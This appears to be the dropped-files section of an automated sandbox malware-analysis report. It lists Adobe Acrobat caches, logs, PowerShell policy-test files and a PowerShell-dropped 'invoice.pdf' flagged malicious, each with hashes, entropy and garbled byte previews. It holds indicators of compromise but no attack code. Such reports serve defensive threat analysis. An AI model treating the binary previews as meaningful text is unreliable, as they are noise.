Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"117a1b540a7c817e4f3fa3ba8c5b14d4","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558380000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"419632ddd2c9a8af05107a6fbd92c501","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558380000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"5fcc2425fa1f827f795a666e6a7a4fc4","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558380000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"33811a8619e01b50ff222182309b3d5b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558379000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"30cde76ab5eaeeb9a8e6080ca49fc042","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558379000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4bb0be36adbee7d86879adc12ebf011a","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4583853953551686
Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2qLviuFuI7Pr:/VmsrhoGgt5Zgkp7D
MD5:	6439977A536ED505A2D5E1FBBE1E3DCA
SHA1:	3B386EFD6D56AB195046388E30CD596E8C69DB01
SHA-256:	09682B5F31A6E068FDAEDFE37449A37C16241A565BD458A6356BD16150AF9361
SHA-512:	779EEA8C291E854C1938C2DBB1641400624697A80DD8662F1732BF4D4936131758C764DE288B4C35679C9F24F13A0B0917A5767042BF06AF1B5CDA6619BD560A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9637979126971432
Encrypted:	false
SSDEEP:	48:7M8hoGgpP5ZgrI2tLviuFuI7PehHqVl2GL7msx:7thoGgt5Zg9p72hHaVmsx
MD5:	C5AAE5BC9B8989F608D56654E51D6666
SHA1:	60105EE9DA076B173C89BC2B54ABDF5545453E4B
SHA-256:	FC755BD0FF213F9584C82B7DB01B1754BCD160D8288344888CE1D927D7069103
SHA-512:	69920A2DD0407EDB93156392309CC96A6B4DE905C49232C5D49C92BDF6C73DAF4F30AD26B07C0C40FC9AAE4704B6D71D6E99A115D3F74A5B86B1ABA309EA9357
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgBgOxJupz5U1ocQRbbLHyflTYyu:6a6TZ44ADEBgO/upFqoEfJK
MD5:	8EBE883318BAC44315A2299C558D1332
SHA1:	08141E250797C61B1FB01D96A71417E50A8B8C93
SHA-256:	E9FBFCD8F25C773CBE7557F49015B427DDA23B48B6664FAB980F23146B90CB37
SHA-512:	150B1AD4AAE63527F95D10739C3551CBAB92F851C6D068640A1E915662C68507037BF3251E8CC31A4209118988D55E342186D940CD51722360A8194A33039AAB
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI2c543.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClkf9:Qw946cPbiOxDlbYnuRK+b7
MD5:	A0DECFD0027A35D3F9996530AF9DB3E0
SHA1:	2C14D4317DD2982B1841A0BACDD95A750AF1E691
SHA-256:	8D22829E3EA5DABFC0F7C4F56F6958BC65E48CC21210561517A9CFA8AFCDF013
SHA-512:	DC4596968E5652B1AC4994D37E340FC0D7AF111AEA3A5A8550382537452A59C4FD2D04C73EB8CDC67C1D328DAC11194082785BE0242052F5727EE14D7CCDF0F6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.9.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d0sneirj.5b3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mo3o5bwp.ygk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91fqiaf1_o7olhd_40g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ljwm67_o7olha_40g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-19-33-119.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.348550117999493
Encrypted:	false
SSDEEP:	384:hUQUeU1UGUAUPUZCUXUuUoUnUlU7UeU1UPUxKU+KUqKUvKUcKU1jVKD3g0DcTUYh:KLFGNb8Zxk1jUWQFG8x5+5q5v5c5rV
MD5:	339F192DA53C81E99A4666668D512737
SHA1:	2245B905870830E224EA019D8BE6B6E487FC249A
SHA-256:	39D7A06A77AD5C9AFC073F2E1DBBF65054BAE03B4D540F05E45B5F272CB45677
SHA-512:	CA371BDA5CE90474F379D54931D2B272006D08B9CBFF8D420546B914C2B5B5F640DBC1560E2E8BF603C2373A550375299FF8D3A0C8865EF532C70A68641A21DD
Malicious:	false
Preview:	SessionID=7a0c48b2-b210-43a9-a326-79e0ac9c55dd.1736558373137 Timestamp=2025-01-10T20:19:33:137-0500 ThreadID=5952 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7a0c48b2-b210-43a9-a326-79e0ac9c55dd.1736558373137 Timestamp=2025-01-10T20:19:33:139-0500 ThreadID=5952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7a0c48b2-b210-43a9-a326-79e0ac9c55dd.1736558373137 Timestamp=2025-01-10T20:19:33:139-0500 ThreadID=5952 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7a0c48b2-b210-43a9-a326-79e0ac9c55dd.1736558373137 Timestamp=2025-01-10T20:19:33:139-0500 ThreadID=5952 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7a0c48b2-b210-43a9-a326-79e0ac9c55dd.1736558373137 Timestamp=2025-01-10T20:19:33:139-0500 ThreadID=5952 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.399146275598296
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cb/ycbYIdXcbd:2PLH8FVfpBJnYL9d4
MD5:	54BA1B5890DA90CF22285FCAD7967C74
SHA1:	B8350EE1F009EB140603A94FC47F722EF83FC161
SHA-256:	2DD45E2155CE071D37D8E31EFCED3D4907DDADE3ED11FDFC07284680502AFA45
SHA-512:	8860BEA1926D833DDFF35C0524F1274DF3045848D865308B48D0100929D90DDEDCF3916C9CBCEA497BBCEB0777A82A6253EBFCCDC0F83356227BA78D57F4DDCF
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\7db35636-c43b-47d4-8d8e-3ddecea101e2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\c19efcc1-1f38-4302-be1b-365ab5d92893.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	DEE0FE98070EB4399C6C08DEE92C8A7C
SHA1:	D08807DA97D939DA79375C93501EECC21D1FE6CF
SHA-256:	814464759EB985546897367FB0C95C0DF21167DA76399EAE08A87CE664B76575
SHA-512:	8D8B910C0C21E2F495EE16ABECC81B968791665EF30A46C6ABA1E0BB40F419D9A25FD75F80D0C0418F4E8D880E0A63BA9529113C6618C90B0CAB55D945D4DDFA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cac81352-d37e-4452-9566-85d9c7ed19d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e6f96b73-fc58-4666-9102-5ed2d57e4a2a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
